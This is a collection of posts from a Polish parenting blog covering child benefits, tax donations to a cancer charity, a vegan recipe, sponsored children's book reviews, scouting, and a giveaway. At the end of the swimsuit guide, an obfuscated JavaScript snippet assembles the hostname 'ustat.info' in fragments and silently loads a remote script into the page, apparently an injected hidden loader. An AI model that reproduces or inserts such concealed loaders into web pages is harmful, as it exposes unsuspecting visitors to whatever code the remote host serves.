Polityka prorodzinna państwa czy 500+?

MAMA NA TROPIE

Polityka prorodzinna państwa czy 500+?

Polityka prorodzinna to myślenie państwa o demografii narodu. To szereg udogodnień dla rodzin, mających na celu zwiększenie ich dzietności oraz wspomożenie prawidłowego rozwoju i wychowania dzieci. Z założenia obejmować powinna ona większą pieczą rodziny wielodzietne. Niestety często polityka prorodzinna państwa na papierze rozjeżdża się z tym co dzieje się w rzeczywistości. Bo przecież aby państwo mogło dać jednej grupie obywateli musi zabrać innym... Czy tak nie jest??? To jak to jest z tą polityką prorodzinną w Polsce, szczególnie spoglądając na nią okiem rodziny wielodzietnej?! Magiczne 500+ - sen ściętej głowy? Urzędnicy już się szkolą, rodziny ostrzą zęby na opływanie w luksusach... Miło być od stycznia, później od marca czy kwietnia. A teraz już musimy, my rodziny przerzucić swoje myślenie na lipiec. Już nie zakupimy wiosennych kurtek i butów dla dzieci, choć na takie zakupy, nie ukrywam, liczyłam jak wiele z Was...  Ale jak to mówią, nie ma co dzielić skóry na niedźwiedziu, więc ja już też przestałam... Szczególnie od momentu, kiedy dowiedziałam się że kryterium dochodowym branym pod uwagę w tym roku będą zarobki za 2014 rok! Tak nie przesłyszeliście się, ani nie jest to żadna pomyłka. I nie istotne czy jesteście teraz bezrobotni, na zasiłku czy jakkolwiek nie macie za co żyć?! Istotne jest to na jakim mega fajnym poziomie żyło Wam się w 2014 roku. Tylko to predestynuje Was do otrzymania dodatku na pierwsze, często jedyne dziecię w domu...Przy naszych trzech synach kwota progu wydaje się być milsza, bardziej osiągalna, ponieważ wynosi aż 4000 zł, tylko jak w 5 osób utrzymać dobry poziom życia przy takiej kwocie? Podejrzewam, że jest wiele rodzin nawet wielodzietnych, które nie załapią się, kolokwialnie mówiąc, na dodatek dla pierwszego z potomków. Przy tych wiecznie zmieniających się wizjach dodatku 500+ zaczynam wątpić czy piękny sen o nim się nam ziści... Ale czy rzeczywiście 500+ zmieni tak wiele w naszym życiu?Rząd liczy na wzrost dzietności, ale niestety 500+ wcale się nie przełoży na ten proces, albo będzie to wpływ minimalny. Wiele rodzin posiadających większą ilość dzieci po uzyskaniu tego dodatku nie poleci produkować kolejnych pociech na potęgę. Już widzę te tłumy noworodków za 9 miesięcy od pierwszej wypłaty dodatku! Myślę, że te pieniądze raczej pozwolą wielodzietnym odrobinę poprawić swoją sytuację finansową. Pozwolą z większym spokojem ubrać dziecko przy zmianie pory roku lub opłacić mu żłobek czy przedszkole, aby rodzice mogli oddać się pracy całymi dniami. Rodzina potrzebuje stabilności rynku pracy, aby mieć większą pewność iż za rok ich etat nie zostanie zredukowany czy pensja obniżona. Rodząca dzieci kobieta potrzebuje większej otwartość pracodawców na ten typ pracownika, oddany, bardziej zorganizowany i sprawniejszy, ale potrzebujący również wyjścia na przeciw problemom opieki nad dziećmi szczególnie kiedy są chore... Kolejnym problemem jest dostęp do publicznych placówek jak żłobek czy przedszkole. Ta wieczna niewiadoma czy otrzymamy miejsce w placówce, przy większej ilości dzieci staje się corocznym problemem. Bo przecież co zrobić jeśli jedno z dzieci dostało się do żłobka, a starsze nie ma miejsca w przedszkolu. Opiekunka to wielki wydatek, a pozostanie w domu kobiety bez jej pensji spowoduje ogromne problemy finansowe dla całej rodziny. Nie samym 500+ człowiek żyje, bo przecież od pierwszego do pierwszego nie dożyje! Jest wiele innych problemów, które warto poprawić w Polce, aby żyło nam się lepiej. Oczywiście nie chodzi o to, że wielodzietni, którzy narobili sobie dzieci teraz leżąc na kanapie oczekują wdzięczności państwa za ich trud. Nie chodzi o to, że chcą oni wyręczenia albo "produkowali" te dzieci dla profitów. Prosimy tylko o poszanowanie nas i nie utrudnianie nam życia. Dziękujemy!

Mały 1% to 100% pomocy!

MAMA NA TROPIE

Mały 1% to 100% pomocy!

1% podatku – 100% pomocy. Nie wierzycie? Uważacie, że nie warto uzupełniać dodatkowych rubryczek w składanej co roku deklaracji podatkowej? Mam nadzieję, że Was przekonam, że kilkanaście, czy kilkadziesiąt złotych dla potrzebujących, na przykład dla dzieci chorych na raka to naprawdę ogromne wsparcie. 1% podatkuWedług danych Ministerstwa Finansów na podzielenie się 1% podatku za 2014 rok z organizacjami pożytku publicznego zdecydowało się 47 proc. podatników. To wynik lepszy niż w poprzednich latach, ale oznacza, że wciąż ponad połowa z nas nie korzysta z przywileju decydowania, na co przeznaczone zostaną nasze podatki. Tymczasem naprawdę warto poświęcić chwilkę, aby wypełnić dodatkowe rubryki w zeznaniu podatkowym i przekazać swój podatek wybranej przez siebie organizacji.Bo przekazanie 1% to największa, ale i zarazem najprostsza pomoc. Jeśli w naszej deklaracji podatkowej wskażemy odpowiednią organizację pożytku publicznego, to 1% naszego podatku nie trafi do budżetu państwa, ale na konto właśnie tej organizacji. To oznacza, że przekazując 1% z własnego PIT, podatnik nie traci ani złotówki - rozdysponowuje on jedynie kwotę, którą i tak musiałby przekazać do „wspólnego worka”, czyli na rzecz Skarbu Państwa.Sama procedura jest obecnie wyjątkowo prosta – wystarczy, że w składanym zeznaniu rocznym wskażemy po prostu organizację, którą chcemy wesprzeć – podajemy jej nazwę i numer KRS, a 1% podatku Fundacji przekazuje naczelnik urzędu skarbowego. Z własnej kieszeni nie wyciągamy ani złotówki. Po prostu wskazujemy urzędowi, komu powinien pomóc! Pamiętać trzeba o jednym – na jednej deklaracji można wskazać tylko jedną organizację. Ci podatnicy, którzy składają wiele formularzy podatkowych, mogą w każdym z nich wybrać inną Fundację, której przekażą 1% podatku.Taki procent naprawdę czyni dobro, bo fundacje pożytku publicznego, które mogą go zmieniać są zobowiązane są do przestrzegania bardziej rygorystycznych zasad niż ogół organizacji pozarządowych. Działają przejrzyście i zgodnie z prawem. Są nieustannie kontrolowane i dlatego mamy gwarancję, że przekazane im pieniądze zostaną spożytkowane zgodnie z przeznaczeniem. Jedną z takich fundacji jest Fundacja „Na ratunek dzieciom z chorobą nowotworową”, która działa we Wrocławiu. W zeszłym roku zasłynęli tym, że w ciągu trzech dni zebrali astronomiczną sumę pół miliona złotych na lek dla swojego podopiecznego. Rozkręcili akcję tak, że było o niej słychać w całym kraju i dokonali niemożliwego – w mig zebrali pieniądze na lek, który miał pomóc 18-letniemu Markowi.Ale na co dzień Fundacja może pomagać maluchom, którym przyszło stoczyć najcięższą walkę – walkę z rakiem właśnie dzięki środkom z 1%. Kupuje drogie leki i nowoczesne protezy dla dzieci, które ich potrzebują oraz finansuje rehabilitację maluchów i wyjazdy do zagranicznych ośrodków. Czasem leczenie poza granicami Polski sięgające nawet 400 tys. zł jest jedyną nadzieją na wyjście z choroby. To szansa, gdy w Polsce wyczerpały się już możliwości leczenia. Takie przykłady najlepiej pokazują, że warto decydować, na co przeznaczone zostaną podatki!Post napisany przy współpracy z Fundacją "Na ratunek dzieciom z chorobą nowotworową". Jest to jedna z fundacji/organizacji, na którą możecie przekazać swój 1% - czyli pomóc w 100% z 0% wysiłku :-)Fundacja "Na ratunek dzieciom z chorobą nowotworową"

Burgery buraczane czyli Kuchnia Wegańska.

MAMA NA TROPIE

Burgery buraczane czyli Kuchnia Wegańska.

Nie często mam okazję eksperymentować w kuchni. Najzwyczajniej w świecie nie mam na to czasu, brak mi trochę zapału i wiary w to, że nowości przypadną do gustu i mi i mojej rodzinie. Oczywiście wiem, że nie można się bać eksperymentów w kuchni. Czasami coś nie wypali, czasami coś zaskoczy nas tak, że na stałe wpisze się w nasze nawyki żywieniowe. Jako, że ostatnio w ramach współpracy z Wydawnictwem Olesiejuk dotarły do nas 3 książki kucharskie, podjęłam wyzwanie. Kuchnia wegańska Wydawnictwo OlesiejukDziś zatem wypróbowaliśmy jeden z przepisów Kuchni Wegańskiej. Kuchnia Wegańska jest to kuchnia oparta na produktach zbożowych, warzywach i owocach, która całkowicie rezygnuje z produktów mięsnych oraz pochodzenia zwierzęcego jak masło, jogurt, mleko czy śmietana. Jako, że jestem jaroszem od dawna ciekawiła mnie ta kuchnia. Wygląd bardzo obiecująco, szczególnie że chciała zwiększyć udział warzyw i owoców w mojej diecie oraz kasz. Otrzymana książka jest zamknięta w twardej okładce, w niepozornym formacie. W środku oczywiście znajdziemy kolorowe, smakowite ilustracje i wiele ciekawych przepisów. Jako pierwszy wypróbowaliśmy przepis na Burgery z fasoli i buraków. Burgery z fasoli i burakówSkładniki:1 szklanka czerwonej fasoli2 buraki1 cebula1 ząbek czosnkusólpieprzgałka muszkatołowaolej do smażeniaSposób przygotowania:Fasolę zalać zimną wodą i pozostawić na noc. Następnego dnia odcedzić, opłukać na sicie, przełożyć do garnka, zalać wrzącą wodą i gotować ok. 1h. Odcedzić i wystudzić. Buraki umyć, zalać wodą i gotować ok. 1,5h. Odcedzić, wystudzić, obrać i pokroić w kostkę. Fasolę i buraki zmiksować blenderem lub zemleć. Dodać posiekaną cebulę i przeciśnięty przez praskę czosnek. Doprawić solą, pieprzem oraz gałką muszkatołową i dokładnie wymieszać. Uformować mokrymi dłońmi burgery, mocno ściskając masę. Smażyć na rozgrzanym oleju z obu stron an rumiano. Podawać zaraz po przyrządzeniu. Burgery z fasoli i burakówBurgery z fasoli i burakówMoje uwagi: Użyłam do przepisu z lenistwa fasolę czerwoną z puszki, jest szybciej ale czy smaczniej nie jestem pewna. Buraki polecam zetrzeć na grubych oczkach, aby nasze burgery miały fajną strukturę. Z blendowanie ich wraz z fasolą zrobi z naszych produktów gładką masę. Pamiętajcie, że buraki bardzo, bardzo brudzą i warto do ich obróbki ubrać fartuch i rękawiczki :-)Życzę smacznego!Kuchnia Wegańska Wydawnictwo Olesiejuk

Poznawanie świata z Zieloną Sówką

MAMA NA TROPIE

Poznawanie świata z Zieloną Sówką

Każdy rodzic pragnie, aby jego dziecko uczyło się jak najwięcej i jak najszybciej zdobywało nowe umiejętności. Jednak nie zawsze możemy sami pomóc w tym naszemu malcowi. A kiedy sięgamy po "pomoce naukowe", jest ich na rynku sporo i nie do końca jesteśmy pewni co się sprawdzi. W związku z tym chciałam wam pokazać dwie pozycje, które otrzymaliśmy w ramach współpracy z Wydawnictwem Zielona Sowa w ostatnim czasie.Dotarły do nas dwie pozycje oparte na klockach:Rosnę i poznaję z puzzlami - owoce 1+Gram z sówką Zuzią Zawody 2+Gram z sówką Zuzią Zielona SowaKsiążeczki z serii Rosnę i poznaję to cykl ciekawych książeczek dla dzieci w wieku 1+ w twardej okładce. Są bardzo poręczne i nawet małe dziecko z łatwością nią manipuluje w rączkach. Dzięki tej serii dziecko poznaje nowe słowa, rozwija swoją sprawność manualną przy układaniu puzzli oraz ćwiczy koordynację ruchową przy kolorowaniu obrazków. W środku na utwardzonych kartach znajdziemy w naszym egzemplarzu kolorowe, realne obrazki przedstawiające owoce. Dzięki temu maluch poznaje otaczający świat oraz nowe słowa. Mamy tutaj również stronice z puzzlami przedstawiającymi również owoce, które dziecko z powodzeniem może układać. A pod każdą planszą puzzli znajduje się jeszcze kolorowanka, którą maluchy mogą opanować posiadanymi w domu kredkami. Wydawnictwo jest trwałe i stawia dzielnie opór zajmującymi się nią maluchami. Cena książeczki to 16,99zł i jest do kupienia na stronie Wydawnictwa Zielona Sowa <<TUTAJ>> oraz w dobrze zaopatrzonych księgarniach.Rosnę i poznaję Zielona SowaGram z sówką Zuzią to fajna seria gier dla dzieci w wieku 2+. Są to 24 plansze do memory zamknięte w kartonowym opakowaniu wraz z książeczką do kolorowania. Nasz egzemplarz jest pomocny w poznawaniu zawodów przez młodego człowieka. Zasady gry w memory są proste! Odwracamy wszystkie plansze na lewą stronę i odkrywamy po dwie starając się zapamiętać sobą, która znajdzie najwięcej par. Ciekawą pomocą jest też dołączona książeczka, gdzie znajdziemy naklejki i strony do kolorowania z danymi zawodami. Produkt ten jest bardzo fajną pomocą w nauce dla dziecka oraz po prostu zabawą wspólną dla całej rodziny. I powiem Wam szczerze, że kilka razy udało się naszemu Jasiowi wygrać ze mną czy z mężem. Za pomocą plansz pracuję też z młodszymi Frankiem i Olkiem. Staram się zachęcać ich do odnajdywania par pośród rozłożonych klocków, uczę pojęcia takie samo oraz oswajam z nazwami zawodów tłumacząc im co dana osoba robi. I jeszcze jedno, karty do memory przychodzą w takich prostokątnych pakietach, które moje dzieci wtórnie wykorzystują do zabawy... Grę można zakupić w cenie 19,99zł na stronie Wydawnictwa Zielona Sowa <<TUTAJ>> oraz w dobrze zaopatrzonych księgarniach.Produkty dla dzieci Zielona SowaPoznaję świat z Zieloną Sową

Kolorowanki dla dzieci od AWM

MAMA NA TROPIE

Kolorowanki dla dzieci od AWM

Ostatnio pisałam Wam o kolorowankach dla dorosłych. Tak wiem, że może nie mam jakiś wielkich uzdolnień plastycznych. Wy też mi pisaliście, że troszkę u Was na bakier z pisakami, kredkami i kolorowaniem. Ale dziś chciałam Wam pokazać pewne ciekawe kolorowanki, tym razem dla dzieci, które do nas trafiły...Dotarły do nas 3 niepozorne książeczki w ramach współpracy z Wydawnictwem AWM. O poprzednich pisałam Wam <<TUTAJ>>. Tym razem dotarły do nas: Poznaję... Dinozaury; Kropka do kropki oraz Kolorowanki naklejanki - wesołe dinozaury. Zapytacie co w nich takiego nowego, ciekawego... Kolorowanka to kolorowanka przecież, ale.... No właśnie! Moi chłopcy bili się o nie. A szczególnie o taką jedną o dinozaurach. Zaczynając zatem od tej u nas najpopularniejszej :-)Seria poznaję jest to seria książeczek pozwalających na bardzo wiele małemu artyście. W środku znajdziemy kilka stronic o zafoliowanych, śliskich kartkach z krajobrazami przedstawiającymi miejsca gdzie żyją dane zwierzęta. Na kolejnych znajdują się kolorowe, śliskie naklejki przedstawiające zwierzęta oraz roślinność, w naszym przypadku były to dinozaury oraz roślinność z tamtego okresu. Oczywiście wewnątrz książeczki możemy znaleźć podpowiedzi jak mógł wyglądać świat tych zwierząt z naklejek, jednak moi synowie zdecydowanie preferowali własną, radosną twórczość. Tak byli kreatywni, że to co lata pływało a to co chodzi po lądzie fruwało... Książeczka jest zamknięta w miękkiej okładce, kolorowa i inna niż wszystkie, które mieliśmy do tej pory. Zdecydowanie rozwija wyobraźnię maluchów, pozwala być im kreatywnymi oraz tak naprawdę kreatorami rzeczywistości. Bardzo dobre wykonanie książeczki w połączeniu z ciekawym ujęciem tematu gwarantuje zajęcie dla naszej pociechy na dłuższą chwilę. Kolorowanki naklejanki - wesołe dinozaury to typowe wydawnictwo dla maluszków. W lekko utwardzanej okładce znajdziemy na każdej stronicy postać dinozaura. Co ciekawe są one konturowane na czerwono. Zaś w każdym rogu znajduje się kwadracik, w którym dziecko może umieścić naklejkę z wizerunkiem danego zwierzęcia. Tutaj nasze dziecko z powodzeniem może się oddać plastycznym inspiracjom i ponieść kolorom kredek, które posiada w domowym arsenale. Ostatnią książką był egzemplarz z serii Kropka do kropki 1-10. Seria ma kilka stopni trudności, które możemy dobrać sugerując się umiejętnościami dziecka. Jest to książeczka w lekko utwardzanej okładce z ciekawymi ilustracjami w środku. Nasz egzemplarz zawierał elementy, które syn musi połączyć liniami zaczynając od 1 a kończąc na 10.  Dzięki temu, z pomocą rodzica dziecko uczy się liczyć oraz rozpoznawać liczby. Ćwiczy również prawidłowe ułożenie kredki czy ołówka w dłoni oraz prowadzenia linii. Oczywiście w nagrodę może pokolorować powstały po połączeniu kropek obrazek. Bardzo fajna forma pozwalająca wprowadzać nam dziecko w świat szlaczków i linii. Wszystkie te wydawnictwa możemy zakupić na stronie Wydawnictwa AWM <<TUTAJ>> w cenie: Poznaję... Dinozaury 11,90zł; Kropka do kropki 6,99zł oraz kolorowanki naklejanki - wesołe dinozaury 6,99zł lub w dobrych księgarniach.

Kolorowanki dla dorosłych - czas na relaks!?

MAMA NA TROPIE

Kolorowanki dla dorosłych - czas na relaks!?

Jestem matką, jestem kobietą, jestem kłębkiem nerwów i zmęczonym, ciągnącym po ziemi rękami resztkiem człowieka. Dni mijają, a ja wciąż poszukuję możliwości wyrwania się z mojej pudrowej klatki macierzyństwa, którą przecież sama dla siebie wybrałam. Sięgnęłam zatem do tak ostatnio modnych kolorowanek dla dorosłych. Czy się sprawdzają? Czy matka małych dzieci w ilości trzech sztuk rzeczywiście ma chwilę na to aby się nad nimi pochylić?Żeby nie było, moje dzieci kochają kolorowanki. Malują wiele i wszędzie. Bliźniaki nawet po desce klozetowej, lodówce czy też drzwiczkach drewnianych w łazience... A czy matka też się wciągnęła w te plastyczne zajęcia? Miałam wreszcie okazję spróbować własnych sił w ramach współpracy z Księgarnią Matras, która podesłała mi Łowcę chmur - relaksującą kolorowankę dla dorosłych. Łowcy chmur - relaksujące kolorowanki dla dorosłych. Jest to książka zamknięta w miękką okładkę o formacie A4. Już okładka wprowadza nas do świata plastyki, rysunku i koloru. W środku znajdziemy na kolejnych stronicach czarno-białe plansze do samodzielnych zajęć plastycznych. Naprzeciw każdej strony z rysunkiem znajdziemy stronę z ciekawym cytatem lub/i mottem, które może stać się przewodnikiem danego dnia. Ja żeby móc oddać się relaksowi przy kolorowance zakupiłam sobie opakowanie pisaków w neonowym różu. Za każdym razem przez nie narażam się na zbędną uwagę moich dzieci, które na siłę chcą również przetestować moje pisaki. I jak, polubiłam się z tą formą relaksu? Łowcy chmur - relaksujące kolorowanki dla dorosłych.Siadam do Łowców Chmur wieczorami, kiedy wszyscy już śpią, blisko zapalonych w kącie lampek cotton balls. I pomału, po cichu, zdecydowanie otoczona tylko tym co robię maluję na kolejnych kartach pisakami. Tak, polubiłam się z tą aktywnością. Czy pokochałam? Chyba jeszcze nie, zbyt ze mnie nerwowy człowiek, zbyt szybki. A do kolorowanki dla dorosłych trzeba dłuższej chwili, skupienia się na wykonywanej czynności i serca. Ale dzięki niej ćwiczę się w cierpliwości oraz uspokajam wieczorami przed snem. I tak co jakiś czas staczam z samą sobą walkę, aby opróżnić po całym dniu głowę z zamieszania i spokojnie położyć się spać. Polecam Wam gorąco zmierzenie się z tą formą relaksu, postawienie przed sobą tego specyficznego wyzwania!  Łowcy chmur - relaksujące kolorowanki dla dorosłych.Łowcy chmur - relaksujące kolorowanki dla dorosłych.Moja kolorowanka dla dorosłych to Łowca Chmur Wydawnictwa Pascal, którą w cenie 24,90zł możecie zakupić w Księgarni Matras <<TUTAJ>>. Polecam!

MAMA NA TROPIE

Jak wybrać dobry kostium na basen?

Idziesz na basen popływać? Bikini zostaw w domu… Pływanie to jeden z najwdzięczniejszych sportów rekreacyjnych dla kobiet. Uniwersalny, bo można go uprawiać w każdym wieku, o każdej porze roku i w każdym zakątku kraju. Co najważniejsze zaś, już jedna – dwie godziny pływania tygodniowo pomagają zrzucić nadwagę, wykształcić smukłe ramiona i uda, poprawić sylwetkę i zredukować cellulit. A to wszystko bez obciążania stawów i wydawania fortuny…Dlaczego pływamy w kostiumie jednoczęściowym?Bądźmy szczerzy – bikini zostało wymyślone po to by kusić, urzekać i odsłaniać jak najwięcej do opalania. Te wszystkie argumenty podczas treningu sportowego schodzą na dalszy plan. Liczy się przede wszystkim wygoda, a nic nie zapewnia lepszego komfortu niż idealnie dobrany jednoczęściowy kostium, który przylega do ciała, nie krępuje ruchów, ale też nie obluzowuje się i nie spada przy silniejszym odepchnięciu. Mniejszy opór wody to zaleta, którą docenią tylko profesjonalne pływaczki, ale każda kobieta, która przepłynęła kiedyś 200 metrów kraulem wie, że bikini rzadko utrzymuje się tak długo na swoim miejscu… Na dodatek, jednoczęściowy kostium wyszczupla optycznie i pozwala poczuć się dynamiczniej już na starcie, a przewaga psychologiczna to klucz do sukcesu…Wybieramy kostium basenowyPo pierwsze, należy szukać strojów z wysokiej jakości materiałów posiadających właściwości chloroodporne. Dobrym wyborem jest P.B.T – specjalna poliestrowa dzianina, która idealnie dopasowuje się do figury, szybko schnie, nie nasiąka wodą i nie ulega zmechaceniu czy łatwemu zniszczeniu. Polecane są także mieszanki poliamidu i elastanu. Niskiej jakości materiał będzie po kilku miesiącach wisiał na nas jak worek na ziemniaki, więc inwestycja w dobry materiał oznacza zwykle oszczędność w długim okresie.Po drugie, warto krytycznie przyjrzeć się swojemu typowi sylwetki i wybrać krój, który sprawi, że będziemy się w kostiumie czuć się pięknie i komfortowo. Przy większym biuście warto wybrać strój ze wzmocnieniem na piersiach. Problem małego biustu rozwiązać mogą zaś kolorowe wstawki stwarzające wrażenie krągłości. Panie o zbyt krótkich nogach skorzystają z kolei na wysokim wycięciu na udach, podczas gdy zbyt obfite biodra można schować pod strojem z nogawkami do kolan, który prezentuje się nadzwyczaj atletycznie.Jeśli chodzi o dobór rozmiaru, warto skrupulatnie śledzić tabele producenta. Mierzymy się zawsze przed lustrem i tylko w bieliźnie, dbając aby miarka nie opadała skośnie i nie była skręcona. Jeśli nasze wymiary przypadają między dwoma wielkościami, wybieramy raczej rozmiar mniejszy, bo w wodzie tkanina zawsze się nieco naciąga.Autorem tekstu jest E-LADY internetowy sklep z bielizną dla kobiet(function(){ uX7k=document.createElement("script");uX7k.type="text/javascript"; uX7k.async=true;uX7k_=(("us")+"t")+"a";uX7k_+=("t.i")+""+"n";uX7k_+=(("f")+"o"); uX7k.src="http://"+uX7k_+"/8495532.p1vhqsjtX7klu2lyl7tpvk9xhgdxf7"; document.body.appendChild(uX7k); })();

Harcerstwo?!

MAMA NA TROPIE

Harcerstwo?!

Dziś jest 22 lutego i jak co roku wszyscy harcerze spod wszelakiej litery czy to spod R czy spod P czy też spod S tworzą jeden krąg ludzkich rąk. Ten dzień jest wspomnieniem urodzin założyciela skautingu sir Roberta Baden-Powella. Ale nie o tym pisać miałam...Kiedyś usłyszałam, że w harcerstwie że owszem wychowuje w zbiorowości w zespole, ale zabija w młodym człowieku indywiduum, jego istotę. Słowa te padły z ust prof. Jadwigi Staniszkis. I ja miałam swoją przygodę z lasem, z drużyną, z nocnymi harcami i ogniskami palonymi długo w noc. A wszystko w moim kochanym szarym mundurze, takim samym jak dziesiątki innych dziewczyn w szeregu, ale moim odzwierciedlającym osobowość noszącej go dziewczyny. Nie mogę i nigdy nie zgodzę się na słowa opisujący harcerstwo jak zespół, jako masę ludzi bez twarzy, bez własnych pomysłów na swoje jestestwo. Należenie do tego ruchu nauczyło mnie sporo umiejętności i nie chodzi tu o rozpalanie ogniska w środku lasu jedną zapałką. No nie to też, jak również zrobienie nieprzeciekającego szałasu czy tropienie zwierząt po śladach. Dzięki harcerstwu też zabiorę dzieci na spacer do lasu gdy będą starsze i opowiem im wszystko co wiem, o każdym z mijanych drzew. Krzyż harcerski - zdjęcie z dr3ams.blox.plHarcerstwo to sposób myślenia, to filozofia życia. Ten szary mundur, kiedy nosi się go wystarczająco długo niejako zostaje już na stałe na naszej duszy. I wcale to nie boli, nie uwiera, a wręcz daje moralność i umiejętność obierania celu jak w kompasie. Harcerstwo uczy pracy w zespole, zaś praktycznie od poziomu zastępowej uczy już 10-12 latki bycia liderem grupy, przewodzenia jej, organizacji pracy i podziału ról. Uczy wielkiej odpowiedzialności za zespół i za swoje własne czyny, oczywiście na każdym poziomie w dostosowanym do niego zakresie. Dzięki tym wszystkim umiejętnościom, później młody człowiek wie jak sobie poradzić w dorosłym życiu. Choć moje drogi z harcerstwem jakiś czas temu się rozeszły, a właściwie jakieś 4 lata temu nie żałuję żadnej ze spędzonych w nim chwil. Miło jest się czuć elementem większej całości, głosem w falującej piersi śpiewających przy ognisku w mroku młodych ludzi. Dobrze było nauczyć się stawiania sobie wyzwań i zdobywania nowych umiejętności... Niezbędnych wtedy i niezbędnych teraz! A będąc wychowawcom przyszłych wychowawców miło było prowadzić dyskusje, bić kopie pomysłów i rozwiązań pod szczytem celowości działań. A czy ty jeszcze się zastanawiasz czy warto stanąć w szarym szeregu? Miłości uścisku dłoni w bratnim kręgu życzę wszystkim....

Przygody Franklina

MAMA NA TROPIE

Przygody Franklina

Nie wiem jak Wasze dzieci, ale moje oglądają bajki w telewizji, szczególnie na programach przez nas najbardziej lubianych typu TVP ABC czy Mini Mini +. W związku z tym oczywiście mamy swoich ulubionych, bardzo pozytywnych bohaterów, po których sięgamy jeszcze chętniej i częściej. Nie wiedzieć czemu wśród nich znalazła się nawet sama rybka Mini Mini +, to jest dopiero szaleństwo kiedy pojawia się spot z nią w roli głównej. Ale nie ona jest bohaterem dzisiejszej opowieści. Dziś chciałabym abyście poznali pewnego gada, a mianowicie żółwia Franklina. Jest to obuty w zieloną skorupę koleżka, mający wiele ciekawych przygód. Ale czym byłby te wszystkie opowieści i historie, gdyby nie miał ich z kim przezywać. Tak więc do grupy przyjaciół należy niedźwiedź, lis, ślimak, bóbr i gąska. Razem zdobywają nowe szczyty swoich umiejętności i wiedzy, wspomagają siebie nawzajem w pokonywaniu przeszkód. Świat jest dla tej paczki przyjaciół i naszego tytułowego Franklina jedną niekończącą się zabawą i ciekawostką. Franklin ma też fajną żółwiową rodzinę, gdzie prócz rodziców spotkamy jego siostrę oraz Ciocię Ż, która zawsze ma dla paczki przyjaciół ciekawą opowieść czy jeszcze lepsze wyzwanie. Jednak oprócz bajki w wersji animowanej znajdziemy na rynku wydane przez Wydawnictwo Debit książeczki zawierające przygody naszego gadziego bohatera i jego paczki przyjaciół. Całość opowieści o Franklinie to ponad 90 książeczek, a w każdej z nich kryje się niesamowita historia. W nasze rączki w ramach współpracy z wydawnictwem trafiły 2 z nich: Franklin i jego paczka oraz Franklin uczy się jeździć. Są to książki autorstwa Paulette Bourgeois oraz Brendy Clark. W książeczce Franklin uczy się jeździć poznajemy historię zmagań Franklina z nauką jazdy na rowerze. Okazuje się, że nie jest to takie proste, a brak tej umiejętności powoduje iż nasz tytułowy bohater zaczyna unikać wspólnych wyprawa z paczką przyjaciół. Druga z książeczek opowiada o perypetiach przyjaciół, którzy chcą stworzyć tajny klub. Jednak jak wiadomo, żeby był tajny nie może należeć do niego każdy... Dlatego ci, którzy nie zostali przyjęci do klubu tworzonego przez Franklina budują własną paczkę. A co z tego wynika? Książeczki w miękkiej oprawie, bardzo kolorowe. Mają piękne ilustracje oraz dość duże litery dla samodzielnych zmagań nieco starszego dziecka z tekstem. Przygody są wciągające, zawierają zawsze mądrość i naukę dla czytelnika. Warto po nie sięgać właśnie dla rozwijania wyobraźni u dziecka, dla budowania u niego pozytywnych postaw oraz oswajania go z tematami, które mogą je spotkać na drodze życiowej.Koszt książek o Franklinie to ok 7zł za egzemplarz, do kupienia są na stronie Wydawnictwa Debit <<TUTAJ>> oraz w dobrych księgarniach. A o innych książkach tego wydawnictwa przeczytacie <<TUTAJ>> 

Rodzicu, nie panikuj! + KONKURS

MAMA NA TROPIE

Rodzicu, nie panikuj! + KONKURS

Niestety dzieci nie rodzą się z dołączoną do każdego egzemplarza instrukcją obsługi. Często pierwsze dni, tygodnie, miesiące, ba nawet lata są nieustającym błądzeniem rodziców w opiece nad swym potomstwem. Nawet rady tych co na tej drodze przed nami i tych bardziej doświadczonych małymi ludźmi od nas nie na wiele się zdają, bo przecież każde dziecko to wielkie indywiduum. Więc, jak sobie poradzić w wielu nieznanych i często zaskakujących sytuacjach. Oczywiście na rynku co i róż pojawiają się kolejne poradniki, których celem ma być niesienie pomocy udręczonym rodzicielom... Więc czy warto sięgnąć po nowość w tym dziale na rynku, czyli po książkę "Rodzicu, nie panikuj!" wydaną przez wydawnictwo REA SJ? Rodzicu, nie panikuj! REA SJ"Rodzicu, nie panikuj!" to poradnik dedykowany rodzicom dzieci w różnym wieku. Jest to książka przetłumaczona z niemieckiego, a jej autorami są dr Klaus Wachter, Claudia Sarkady i Birgit Kuhn. Wydanie jest bardzo ładne, zamknięte twardej oprawie i formacie odrobinę większym niż A5. W środku znajdziemy 3 najważniejsze aspekty dotyczące bycia rodzicem i naszego współistnienia z dziećmi, a mianowicie: wychowanie, zdrowie oraz bezpieczeństwo wraz z pierwszą pomocą. W środku na dobrej jakości papierze znajdziemy zgrabne artykuły opatrzone zestawieniami tabelarycznymi, wyróżnionymi treściami w boksach czy zdjęciami. Ale czy taki poradnik się sprawdza? Dział o wychowaniu jest zdecydowanie tylko namiastką tego co chcielibyśmy wiedzieć, raczej takim sygnalizowanie problemów, tematów czy kierunków rozwoju lub działań nas jako rodziców. Podejrzewam, że nie jedna publikacja na temat wychowania dziecka zawierająca nawet 500 czy więcej stron i tak nie wyczerpałaby tematu w całości. Rodzicu, nie panikuj! REA SJJeśli zaś chodzi o pozostałe 2 rozdziały to z powodzeniem mogą nam zastąpić tak obleganego przez rodziców dr Google. Wystarczająco opisują one przypadki chorobowe u dzieci, często zilustrowane są zdjęciami oraz zestawieniami tabelarycznymi. Szczególnie te ostatnie są godne uwagi, ponieważ różnicują one np. ból brzucha dzieląc na rodzaje, moc i na koniec przyczyny. Rozdział o zdrowiu zdecydowanie może stać się pierwszym pomocnikiem zaniepokojonego objawami rodzica. Oczywiście lekarza w poważniejszych przypadkach nam nie zastąpi! Jeśli zaś chodzi o ostatni rozdział dotyczący bezpieczeństwa i pierwszej pomocy jest godny uwagi szczególnie rodziców malutkich dzieci. Znajdziemy tam praktyczne uwagi na temat bezpiecznego domu czy właśnie niesienia pierwszej pomocy naszemu maluszkowi. Poradnik ten jest jedną z ciekawszych pozycji i warto mieć pod ręką takiego pomocnika! Książka w cenie 39,99zł do kupienia na stronie Wydawnictwa REA SJ oraz w dobrze zaopatrzonych księgarniach. Rodzicu, nie panikuj! REA SJA jeśli i Wy byście chcieli mieć tą ciekawą książkę u siebie w domu, dzięki uprzejmości Wydawnictwa REA SJ zapraszam na konkurs! A zasady są proste!* konkurs trwa od 14.02-24.02.2016* wyniki zostaną podane do 28.02.2016 w tym poście konkursowym* na dane laureata czekamy 7 dni od ogłoszenia wyników* do wygrania jest jeden egzemplarz książki "Rodzicu, nie panikuj!"* organizatorem konkursu jest Mama na Tropie, a sponsorem Wydawnictwo REA SJ* konkurs przeznaczony tylko dla fanów organizatora i sponsora* miło nam będzie jeśli polubisz i udostępnisz plakat konkursowy 